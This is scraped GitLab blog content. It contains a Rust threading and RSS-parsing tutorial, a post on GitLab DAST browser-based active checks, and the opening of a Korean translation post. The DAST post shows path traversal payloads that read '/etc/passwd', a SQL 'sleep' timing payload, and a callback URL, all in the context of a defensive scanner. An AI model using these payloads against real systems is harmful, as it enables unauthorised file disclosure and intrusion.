for asynchronous execution.\n\nThe simplest solution will be spawning a thread for each RSS feed URL. We will discuss optimization strategies later. Before you continue with parallel execution, measure the sequential code execution time by preceding the `time` command with `cargo run`.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n```\n\nNote that this exercise could require more manual code work. It is recommended to persist the sequential working state in a new Git commit and branch `sequential-exec`, to better compare the impact of parallel execution.\n\n```shell\ngit commit -avm \"Sequential execution working\"\ngit checkout -b sequential-exec\ngit push -u origin sequential-exec\n\ngit checkout main\n```\n\n### Spawning threads\nOpen `src/feed_reader.rs` and refactor the `get_feeds()` function. Start with a Git commit for the current state, and then delete the contents of the function scope. Add the following code comments with instructions for Code Suggestions:\n\n1. `// Store threads in vector`: Store thread handles in a vector, so we can wait for them to finish at the end of the function call.\n2. `// Loop over rss_feeds and spawn threads`: Create boilerplate code for iterating over all RSS feeds, and spawn a new thread.\n\nAdd the following `use` statements to work with the `thread` and `time` modules.\n\n```rust\n    use std::thread;\n    use std::time::Duration;\n```\n\nContinue writing the code, and close the for loop. Code Suggestions will automatically propose adding the thread handle in the `threads` vector variable, and offer to join the threads at the end of the function.\n\n```rust\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n        // Store threads in vector\n        let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n        // Loop over rss_feeds and spawn threads\n        for (name, url) in rss_feeds {\n            let thread_name = name.clone();\n            let thread_url = url.clone();\n            let thread = thread::spawn(move || {\n\n            });\n            threads.push(thread);\n        }\n\n        // Join threads\n        for thread in threads {\n            thread.join().unwrap();\n        }\n    }\n```\n\nAdd the `thread` crate, build and run the code again.\n\n```shell\ncargo add thread\n\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\nAt this stage, no data is processed or printed. Before we continue re-adding the functionality, let us learn about the newly introduced keywords here.\n\n### Function scopes, threads, and closures\nThe suggested code brings new keywords and design patterns to learn. The thread handle is of the type `thread::JoinHandle`, indicating that we can use it to wait for the threads to finish ([join()](https://doc.rust-lang.org/book/ch16-01-threads.html#waiting-for-all-threads-to-finish-using-join-handles)).\n\n`thread::spawn()` spawns a new thread, where we can pass a function object. In this case, a [closure](https://doc.rust-lang.org/book/ch13-01-closures.html) expression is passed as anonymous function. Closure inputs are passed using the `||` syntax. You will recognize the [`move` Closure](https://doc.rust-lang.org/book/ch16-01-threads.html#using-move-closures-with-threads), which moves the function scoped variables into the thread scope. This avoids manually specifying which variables need to be passed into the new function/closure scope.\n\nThere is a limitation though: `rss_feeds` is a reference `&`, passed as parameter by the `get_feeds()` function caller. The variable is only valid in the function scope. Use the following code snippet to provoke this error:\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (key, value) in rss_feeds {\n        let thread = thread::spawn(move || {\n            println!(\"{}\", key);\n        });\n    }\n}\n```\n\n![VS Code Terminal, variable scope error with references and thread move closure](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_build_error_function_threads_variable_scopes.png){: .shadow}\n\nAlthough the `key` variable was created in the function scope, it references the `rss_feeds` variable, and therefore, it cannot be moved into the thread scope. Any values accessed from the function parameter `rss_feeds` hash map will require a local copy with `clone()`.\n\n![VS Code Terminal, thread spawn with clone](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_thread_spawn_clone.png){: .shadow}\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (name, url) in rss_feeds {\n        let thread_name = name.clone();\n        let thread_url = url.clone();\n        let thread = thread::spawn(move || {\n            // Use thread_name and thread_url as values, see next chapter for instructions.\n```\n\n## Parse feed XML into object types\nThe next step is to repeat the RSS feed parsing steps in the thread closure. Add the following code comments with instructions for Code Suggestions:\n\n1. `// Parse XML body with feed_rs parser, input in bytes` to tell Code Suggestions that we want to fetch the RSS feed URL content, and parse it with the `feed_rs` crate functions.\n2. `// Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name`: Extract the feed type by comparing the `feed_type` attribute with the [`feed_rs::model::FeedType`](https://docs.rs/feed-rs/latest/feed_rs/model/enum.FeedType.html). This needs more direct instructions for Code Suggestions telling it about the exact Enum values to match against.\n\n![Instruct Code Suggestions to match against specific feed types](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_feed_rs_type_condition.png){: .shadow}\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let body = reqwest::blocking::get(thread_url).unwrap().bytes().unwrap();\n            let feed = feed_rs::parser::parse(body.as_ref()).unwrap();\n\n            // Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name\n            if feed.feed_type == feed_rs::model::FeedType::RSS2 {\n                println!(\"{} is an RSS2 feed\", thread_name);\n            } else if feed.feed_type == feed_rs::model::FeedType::Atom {\n                println!(\"{} is an Atom feed\", thread_name);\n            }\n```\n\nBuild and run the program again, and verify its output.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\nCNCF is an RSS2 feed\nTechCrunch is an RSS2 feed\nGitLab Blog is an Atom feed\nHacker News is an RSS2 feed\n```\n\nLet us verify this output by opening the feed URLs in the browser, or inspecting the previously downloaded files.\n\nHacker News supports RSS version 2.0, with `channel(title,link,description,item(title,link,pubDate,comments))`. TechCrunch and the CNCF blog follow a similar structure.\n```xml\n\u003Crss version=\"2.0\">\u003Cchannel>\u003Ctitle>Hacker News\u003C/title>\u003Clink>https://news.ycombinator.com/\u003C/link>\u003Cdescription>Links for the intellectually curious, ranked by readers.\u003C/description>\u003Citem>\u003Ctitle>Writing a debugger from scratch: Breakpoints\u003C/title>\u003Clink>https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-5/\u003C/link>\u003CpubDate>Wed, 27 Sep 2023 06:31:25 +0000\u003C/pubDate>\u003Ccomments>https://news.ycombinator.com/item?id=37670938\u003C/comments>\u003Cdescription>\u003C![CDATA[\u003Ca href=\"https://news.ycombinator.com/item?id=37670938\">Comments\u003C/a>]]>\u003C/description>\u003C/item>\u003Citem>\n```\n\nThe GitLab blog uses the [Atom](https://datatracker.ietf.org/doc/html/rfc4287) feed format similar to RSS, but still requires different parsing logic.\n```xml\n\u003C?xml version='1.0' encoding='utf-8' ?>\n\u003Cfeed xmlns='http://www.w3.org/2005/Atom'>\n\u003C!-- / Get release posts -->\n\u003C!-- / Get blog posts -->\n\u003Ctitle>GitLab\u003C/title>\n\u003Cid>https://about.gitlab.com/blog\u003C/id>\n\u003Clink href='https://about.gitlab.com/blog/' />\n\u003Cupdated>2023-09-26T00:00:00+00:00\u003C/updated>\n\u003Cauthor>\n\u003Cname>The GitLab Team\u003C/name>\n\u003C/author>\n\u003Centry>\n\u003Ctitle>Atlassian Server ending: Goodbye disjointed toolchain, hello DevSecOps platform\u003C/title>\n\u003Clink href='https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/' rel='alternate' />\n\u003Cid>https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/\u003C/id>\n\u003Cpublished>2023-09-26T00:00:00+00:00\u003C/published>\n\u003Cupdated>2023-09-26T00:00:00+00:00\u003C/updated>\n\u003Cauthor>\n\u003Cname>Dave Steer, Justin Farris\u003C/name>\n\u003C/author>\n```\n\n### Map generic feed data types\nUsing [`roxmltree::Document::parse`](https://docs.rs/roxmltree/latest/roxmltree/struct.Document.html) would require us to understand the XML node tree and its specific tag names. Fortunately, [feed_rs::model::Feed](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) provides a combined model for RSS and Atom feeds, therefore let us continue using the `feed_rs` crate.\n\n1. Atom: Feed->Feed, Entry->Entry\n2. RSS: Channel->Feed, Item->Entry\n\nIn addition to the mapping above, we need to extract the required attributes, and map their data types. It is helpful to open the [feed_rs::model documentation](https://docs.rs/feed-rs/latest/feed_rs/model/index.html) to understand the structs and their fields and implementations. Otherwise, some suggestions would result in type conversion errors and compilation failures, that are specific to the `feed_rs` implementation.\n\nA [`Feed`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) struct provides the `title`, type `Option\u003CText>` (either a value is set, or nothing). An [`Entry`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html) struct provides:\n\n1. `title`: `Option\u003CText>`with [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) and the `content` field as `String`.\n2. `updated`: `Option\u003CDateTime\u003CUtc>>` with [`DateTime`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html) with the [`format()` method](https://docs.rs/chrono/latest/chrono/struct.DateTime.html#method.format).\n3. `summary`: `Option\u003CText>` [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) and the `content` field as `String`.\n4. `links`: `Vec\u003CLink>`, vector with [`Link`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Link.html) items. The `href` attribute provides the raw URL string.\n\nUse this knowledge to extract the required data from the feed entries. Reminder that all `Option` types need to call `unwrap()`, which requires more raw instructions for Code Suggestions.\n\n```rust\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html\n                // Loop over all entries, and print\n                // title.unwrap().content\n                // published.unwrap().format\n                // summary.unwrap().content\n                // links href as joined string\n                for entry in feed.entries {\n                    println!(\"Title: {}\", entry.title.unwrap().content);\n                    println!(\"Published: {}\", entry.published.unwrap().format(\"%Y-%m-%d %H:%M:%S\"));\n                    println!(\"Summary: {}\", entry.summary.unwrap().content);\n                    println!(\"Links: {:?}\", entry.links.iter().map(|link| link.href.clone()).collect::\u003CVec\u003CString>>().join(\", \"));\n                    println!();\n                }\n```\n\n![Code suggestions to print feed entry types, with specific requirements](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_print_feed_entries_fields_with_rust_type_specifics.png){: .shadow}\n\n### Error handling with Option unwrap()\nContinue iterating on the multi-line instructions after building and running the program again. Spoiler: `unwrap()` will call the `panic!` macro and crash the program when it encounters empty values. This can happen if a field like `summary` is not set in the feed data.\n\n```shell\nGitLab Blog is an Atom feed\nTitle: How the Colmena project uses GitLab to support citizen journalists\nPublished: 2023-09-27 00:00:00\nthread '\u003Cunnamed>' panicked at 'called `Option::unwrap()` on a `None` value', src/feed_reader.rs:40:59\n```\n\nA potential solution is to use [`std::Option::unwrap_or_else`](https://doc.rust-lang.org/std/option/enum.Option.html#method.unwrap_or_else) and set an empty string as default value. The syntax requires a closure that returns an empty `Text` struct instantiation.\n\nSolving the problem required many attempts to find the correct initialization, passing just an empty string did not work with the custom types. I will show you all my endeavors, including the research paths.\n\n```rust\n// Problem: The `summary` attribute is not always initialized. unwrap() will panic! then.\n// Requires use mime; and use feed_rs::model::Text;\n/*\n// 1st attempt: Use unwrap() to extraxt Text from Option\u003CText> type.\nprintln!(\"Summary: {}\", entry.summary.unwrap().content);\n// 2nd attempt. Learned about unwrap_or_else, passing an empty string.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| \"\").content);\n// 3rd attempt. summary is of the Text type, pass a new struct instantiation.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{}).content);\n// 4th attempt. Struct instantiation requires 3 field values.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{\"\", \"\", \"\"}).content);\n// 5th attempt. Struct instantation with public fields requires key: value syntax\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: \"\", src: \"\", content: \"\"}).content);\n// 6th attempt. Reviewed expected Text types in https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html and created Mime and String objects\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: String::new(), content: String::new()}).content);\n// 7th attempt: String and Option\u003CString> cannot be casted automagically. Compiler suggested using `Option::Some()`.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(), content: String::new()}).content);\n*/\n\n// xth attempt: Solution. Option::Some() requires a new String object.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n```\n\nThis approach did not feel satisfying, since the code line is complicated to read, and required manual work without help from Code Suggestions. Taking a step back, I reviewed what brought me there - if `Option` is `none`, `unwrap()` will throw an error. Maybe there is an easier way to handle this? I asked Code Suggestions in a new comment:\n\n```\n                // xth attempt: Solution. Option::Some() requires a new String object.\n                println!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n\n                // Alternatively, use Option.is_none()\n```\n\n![Code suggestions asked for alternative with Options.is_none](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_after_complex_unwrap_or_else_ask_for_alternative_option.png){: .shadow}\n\nIncreased readability, less CPU cycles wasted on `unwrap()`, and a great learning curve from solving a complex problem to using a boring solution. Win-win.\n\nBefore we forget: Re-add storing the XML data on disk to complete the reader app again.\n\n```rust\n                // Dump the parsed body to a file, as name-current-iso-date.xml\n                let file_name = format!(\"{}-{}.xml\", thread_name, chrono::Local::now().format(\"%Y-%m-%d-%H-%M-%S\"));\n                let mut file = std::fs::File::create(file_name).unwrap();\n                file.write_all(body.as_ref()).unwrap();\n```\n\nBuild and run the program to verify the output.\n\n```shell\ncargo build\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![VS Code Terminal, cargo run with formatted feed entries output](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\n## Benchmarks\n\n### Sequential vs. Parallel execution benchmark\nCompare the execution time benchmarks by creating five samples each.\n\n1. Sequential execution. [Example source code MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/1)\n2. Parallel exeuction. [Example source code MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/3)\n\n```shell\n# Sequential\ngit checkout sequential-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n0.21s user 0.08s system 11% cpu 2.585 total\n0.21s user 0.09s system 10% cpu 2.946 total\n0.19s user 0.08s system 10% cpu 2.714 total\n0.20s user 0.10s system 10% cpu 2.808 total\n```\n\n```shell\n# Parallel\ngit checkout parallel-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.19s user 0.08s system 17% cpu 1.515 total\n0.18s user 0.08s system 16% cpu 1.561 total\n0.18s user 0.07s system 17% cpu 1.414 total\n0.19s user 0.08s system 18% cpu 1.447 total\n0.17s user 0.08s system 16% cpu 1.453 total\n```\n\nThe CPU usage increased for parallel execution of four RSS feed threads, but it nearly halved the total time compared to sequential execution. With that in mind, we can continue learning Rust and optimize the code and functionality.\n\nNote that we are running the debug build through Cargo, and not the optimized released builds yet. There are caveats with parallel execution though: Some HTTP endpoints put rate limits in place, where parallelism could hit these thresholds easier.\n\nThe system executing multiple threads in parallel might get overloaded too – threads require context switching in the Kernel, assigning resources to each thread. While one thread gets computing resources, other threads are put to sleep. If there are too many threads spawned, this might slow down the system, rather than speeding up the operations. Solutions include design patterns such as [work queues](https://docs.rs/work-queue/latest/work_queue/), where the caller adds a task into a queue, and a defined number of worker threads pick up the tasks for asynchronous execution.\n\nRust also provides data synchronisation between threads, so-called [channels](https://doc.rust-lang.org/rust-by-example/std_misc/channels.html). To ensure concurrent data access, [mutexes](https://doc.rust-lang.org/std/sync/struct.Mutex.html) are available to provide safe locks.\n\n### CI/CD with Rust caching\nAdd the following CI/CD configuration into the `.gitlab-ci.yml` file. The `run-latest` job calls `cargo run` with RSS feed URL examples, and measures the execution time continuously.\n\n```\nstages:\n  - build\n  - test\n  - run\n\ndefault:\n  image: rust:latest\n  cache:\n    key: ${CI_COMMIT_REF_SLUG}\n    paths:\n      - .cargo/bin\n      - .cargo/registry/index\n      - .cargo/registry/cache\n      - target/debug/deps\n      - target/debug/build\n    policy: pull-push\n\n# Cargo data needs to be in the project directory for being cached.\nvariables:\n  CARGO_HOME: ${CI_PROJECT_DIR}/.cargo\n\nbuild-latest:\n  stage: build\n  script:\n    - cargo build --verbose\n\ntest-latest:\n  stage: build\n  script:\n    - cargo test --verbose\n\nrun-latest:\n  stage: run\n  script:\n    - time cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![GitLab CI/CD pipelines for Rust, cargo run output](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/gitlab_cicd_pipeline_rust_cargo_run_output.png){: .shadow}\n\n## What is next\nThis blog post was challenging to create, with both learning advanced Rust programming techniques myself, and finding a good learning curve with Code Suggestions. The latter greatly helps with quickly generating code, not just boilerplate snippets – it understands the local context, and better understands the purpose and scope of the algorithm, the more code you write. After reading this blog post, you know of a few challenges and turnarounds. The example solution code for the reader app is available in [the learn-rust-ai-app-reader project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader).\n\nParsing RSS feeds is challenging since it involves data structures, with external HTTP requests and parallel optimizations. As an experienced Rust user, you might have wondered: `Why not use the std::rss crate?` -- It is optimized for advanced asynchronous execution, and does not allow to show and explain the different Rust functionalities, explained in this blog post. As an async exercise, try to rewrite the code using the [`rss` crate](https://docs.rs/rss/latest/rss/).\n\n### Async learning exercises\nThe lessons learned in this blog post also lay the foundation for future exploration with persistent storage and presenting the data. Here are a few ideas where you can continue learning Rust and optimize the reader app:\n\n1. Data storage: Use a database like sqlite, and RSS feed update tracking.\n2. Notifications: Spawn child processes to trigger notifications into Telegram, etc.\n3. Functionality: Extend the reader types to REST APIs\n4. Configuration: Add support for configuration files for RSS feeds, APIs, etc.\n5. Efficiency: Add support for filters, and subscribed tags.\n6. Deployments: Use a webserver, collect Prometheus metrics, and deploy to Kubernetes.\n\nIn a future blog post, we will discuss some of these ideas, and how to implement them. Dive into existing RSS feed implementations, and learn how you can refactor the existing code into leveraging more Rust libraries (`crates`).\n\n### Share your feedback\nWhen you use [GitLab Duo](/gitlab-duo/) Code Suggestions, please [share your thoughts in the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).\n",[943,7715,696,1444,790],{"slug":8161,"featured":6,"template":678},"learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions","content:en-us:blog:learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml","Learn Advanced Rust Programming With A Little Help From Ai Code Suggestions","en-us/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml","en-us/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions",{"_path":8167,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8168,"content":8173,"config":8179,"_id":8181,"_type":16,"title":8182,"_source":17,"_file":8183,"_stem":8184,"_extension":20},"/en-us/blog/dast-release-first-gitlab-active-check",{"title":8169,"description":8170,"ogTitle":8169,"ogDescription":8170,"noIndex":6,"ogImage":2735,"ogUrl":8171,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8171,"schema":8172},"Introducing GitLab browser-based active checks in DAST","As of GitLab 16.4, or DAST 4.0.9, browser-based DAST active scans will search for path traversal vulnerabilities using the GitLab check 22.1 instead of the ZAP alert 6.","https://about.gitlab.com/blog/dast-release-first-gitlab-active-check","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing GitLab browser-based active checks in DAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cameron Swords\"}],\n        \"datePublished\": \"2023-10-10\",\n      }",{"title":8169,"description":8170,"authors":8174,"heroImage":2735,"date":8176,"body":8177,"category":674,"tags":8178},[8175],"Cameron Swords","2023-10-10","\nGitLab's [DAST](/direction/secure/dynamic-analysis/dast/) and [Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/) teams released the first GitLab active check in browser-based dynamic application security testing. This continues our work to integrate passive checks into browser-based DAST. As of GitLab 16.4, or DAST 4.0.9, browser-based DAST active scans will search for path traversal vulnerabilities using the GitLab check [22.1](https://docs.gitlab.com/ee/user/application_security/dast/checks/22.1.html) instead of the ZAP alert [6](https://www.zaproxy.org/docs/alerts/6/).\n\nReplacing ZAP alerts with GitLab active checks enables developers and security teams to detect vulnerabilities in modern-day web applications more effectively. Going forward, we anticipate replacing more ZAP alerts with GitLab active checks. If you are interested in using the browser-based DAST analyzer, please see: [How to configure a browser-based DAST scan documentation](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html).\n\nBelow is an explanation of how active checks work, different types of attacks, and worked examples of browser-based attacks.\n\n## How to use GitLab active checks\nCustomers who run active scans (full scans) will automatically run GitLab active checks as they are tested and released by the DAST team. Each corresponding ZAP alert will be turned off at this time.\n\nCustomers can opt out of these changes, disabling the GitLab active checks and re-enabling the ZAP alerts by adding the CI/CD variable `DAST_FF_BROWSER_BASED_ACTIVE_ATTACK: \"false\"`.\n\n## What is an active check?\nAn active check defines a series of attacks that, when run against the target web application, identify susceptibility to specific kinds of weakness ([CWE](https://cwe.mitre.org/)). Active checks are run during the [active scan](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html#active-scans) (full scan) phase of a DAST scan.\n\n## What does an active check attack do?\n[In-scope](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html#managing-scope) HTTP requests recorded during the crawl phase of the DAST scan are searched for injection locations, places in the request where an attack payload can be injected. Example injection locations include cookie values, request paths, query parameters, headers, JSON string values, XML, and inputs submitted with a form.\n\nEach attack defines payloads, which are text or binary content to inject into an HTTP request. Payloads can have prefixes (e.g. `c:\\`) or affixes (e.g. `.exe`). Payloads can be an extension of the value originally submitted with the HTTP request.\n\nEvery active check attack will be run against every crawled HTTP request's injection locations. Each injection location may have multiple attack payloads injected into it by each attack. Each unique payload injected into an injection location becomes a new HTTP request to send to the target web application. HTTP responses to these requests are used to determine if the attack succeeded.\n\n## Types of attacks\nDifferent types of attacks are necessary to detect different kinds of weaknesses.\n\n### Match response attacks\nMatch response attacks send an attack payload with the HTTP request and search the HTTP response body for unintentionally exposed content. For example, a path traversal attack that uses a payload of `/etc/passwd` might look for evidence of that file in the HTTP response body.\n\nMost attacks are match response attacks.\n\n### Timing attacks\nTiming attacks are useful for blind injection payloads where the success of the attack is determined by how long the target web application took to return the HTTP response. For example, a SQL injection attack might use a payload containing `sleep(15)` to ask the database to pause for 15 seconds and determine attack success if the target web application took longer than 15 seconds to return the HTTP response.\n\nNaive timing attacks are prone to false positives due to unpredictable timing delays introduced by factors such as variable internet speeds and cached content. To mitigate this, each DAST timing attack uses multiple payloads with individual success conditions, and each timing attack must succeed three times in a row to register as a weakness. Timing attacks run one at a time to prevent one attack from skewing the results of other attacks.\n\n### Callback attacks\nCallback attacks are useful to determine if the target web application unintentionally allows data to be exposed to an external entity. For example, a URL in a website query parameter could be injected with the callback server `https://site.com/login?redirect-to=https://callback-server.dast/123456789`. DAST determines if the target web application unintentionally made an HTTP request to an untrusted source by asking the callback server if it received a request with ID `123456789`.\n\nThe initial priority for DAST browser-based attacks is on match response and timing attacks. For callback attacks, see [Breach and Attack Simulation](https://docs.gitlab.com/ee/user/application_security/).\n\n## How are attacks defined?\nThe [Vulnerability Research team](/handbook/engineering/development/sec/secure/vulnerability-research/) writes active checks in YAML to minimize the time required to update or add new checks. A simplified example of the 22.1 path traversal attack looks as follows:\n\n```yaml\nactive_check:\n  attacks:\n    - id: 2\n      type: \"match_response\"\n      description: \"Inject /etc/passwd, report as vulnerable if the response body matches /etc/passwd file contents.\"\n      target_tech: [\"os:unix\"]\n      injection_locations_policy:\n        default:\n          locations:\n            - \"cookie_value\"\n            - \"request_parameter_value\"\n            - \"request_body_parameter_value\"\n            - \"json_value\"\n            - \"xml_value\"\n            - \"multipart_form_data_filename\"\n            - \"multipart_form_data_value\"\n      match_response_attack:\n        payloads: [\"/etc/passwd\"]\n        injections:\n          - template: \"{payload}\"\n          - template: \"{prefix}{payload}{suffix}\"\n            affixes:           \n              - prefix: \"/../../../../../../../../../../../..\"\n                suffix: \"\"\n        matchers:\n          - description: \"Check the HTTP response body to see if it contains the /etc/passwd file contents\"\n            severity: \"High\"\n            match:\n              location: \"response_body\"\n              expression: \"root:.:0:0:\"\n```\n\n## Worked example\nDuring the DAST crawl phase, DAST submits a form with an input field named `file_name` (headers simplified for brevity).\n\n```\nPOST /read-file HTTP/1.1\nAccept: text/html\nContent-Length: 20\nContent-Type: application/x-www-form-urlencoded\nHost: site.com\n\nfile_name=browserker\n```\n\nDuring the active scan phase, DAST creates attacks from crawled HTTP requests. From the above request, injection locations are found for each of the four header values, the request path `/read-file` and the form input value `browserker`. For a path traversal attack with payload `/etc/passwd`, six attack HTTP requests will be made to the target web application, each with the payload injected into the according injection location.\n\nThe attack on the form input value injection location HTTP would be:\n\n```\nPOST /read-file HTTP/1.1\nAccept: text/html\nContent-Length: 20\nContent-Type: application/x-www-form-urlencoded\nHost: site.com\n\nfile_name=/etc/passwd\n```\n\nAssuming the target web application is vulnerable to a path traversal in the form input, it might read the contents of `/etc/passwd` and return it in the HTTP response, such as:\n\n```\nHTTP/1.1 200 OK\nCache-Control: no-store, no-cache, must-revalidate, proxy-revalidate\nContent-Length: 229\nContent-Type: text/html; charset=utf-8\nDate: Mon, 25 Sep 2023 14:55:20 GMT\n\n\u003Chtml>\n\u003Cbody>\n  \u003Cdiv id=\"content\">\n    root:x:0:0:root:/root:/bin/bash\n    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    bin:x:2:2:bin:/bin:/usr/sbin/nologin\n    sys:x:3:3:sys:/dev:/usr/sbin/nologin\n  \u003C/div>\n\u003C/body>\n\u003C/html>\n```\n\nThe DAST path traversal attack regular expression `root:.:0:0:` matches against the HTTP response body, so the attack is successful and a new finding is created.\n\n[Try GitLab's browser-based DAST scanning](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html).\n",[943,695,942,754,674],{"slug":8180,"featured":6,"template":678},"dast-release-first-gitlab-active-check","content:en-us:blog:dast-release-first-gitlab-active-check.yml","Dast Release First Gitlab Active Check","en-us/blog/dast-release-first-gitlab-active-check.yml","en-us/blog/dast-release-first-gitlab-active-check",{"_path":8186,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8187,"content":8192,"config":8198,"_id":8200,"_type":16,"title":8201,"_source":17,"_file":8202,"_stem":8203,"_extension":20},"/en-us/blog/behind-the-scenes-of-gitlab-korean-translation",{"title":8188,"description":8189,"ogTitle":8188,"ogDescription":8189,"noIndex":6,"ogImage":6704,"ogUrl":8190,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8190,"schema":8191},"Behind the scenes of GitLab's Korean translation","How a student project helped maintain linguistic consistency and deliver a unified user experience for the Korean GitLab community.","https://about.gitlab.com/blog/behind-the-scenes-of-gitlab-korean-translation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Behind the scenes of GitLab's Korean translation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Inchul Yoo, Sunjung Park\"}],\n        \"datePublished\": \"2023-10-05\",\n      }",{"title":8188,"description":8189,"authors":8193,"heroImage":6704,"date":8195,"body":8196,"category":813,"tags":8197},[8194],"Inchul Yoo, Sunjung Park","2023-10-05","\nGitLab is translated into many languages by community members, ensuring our product reaches a much wider audience. In recent months, software and computer engineering students from Ajou University in South Korea contributed translations as part of their classroom project, led by Prof. Hwanyong Lee. Their contributions, together with many other members of our community, resulted in [100% of strings in the GitLab UI being translated into Korean](https://translate.gitlab.com/project/gitlab-ee/ko). \n\n![photo of Korean translation contributors](https://about.gitlab.com/images/blogimages/translation-contributors-swag.jpg){: .medium.center}\n\nIn this blog post, [Inchul Yoo](https://gitlab.com/iyoo), solutions architect at GitLab, and [Sunjung Park](https://gitlab.com/sunjungp), senior product Designer at GitLab, who also volunteer as proofreaders for the Korean translation of GitLab in the [GitLab Crowdin project](https://crowdin.com/project/gitlab-ee), had the privilege to interview Prof. Lee. He shared the students' experience in contributing to GitLab and discussed areas where additional collaboration is needed for translation.\n\nThank you for your contributions to GitLab: \n- Dahee Kim (김다희, 아주대학교)\n- Myeong Seok Nam (남명석, 아주대학교)\n- Jongho Baik (백종호, 아주대학교)\n- Seoyoung Lee (이서영, 아주대학교)\n- Sungmin Lee (이승민, 아주대학교)\n- Jaeyoon Lee (이재윤, 아주대학교)\n- Hwanyong Lee (이환용 교수, 아주대학교)\n\n## Interview with Prof. Hwanyong Lee\n\n**Could you tell us about Ajou University and the department?**\n\nAjou University aims to 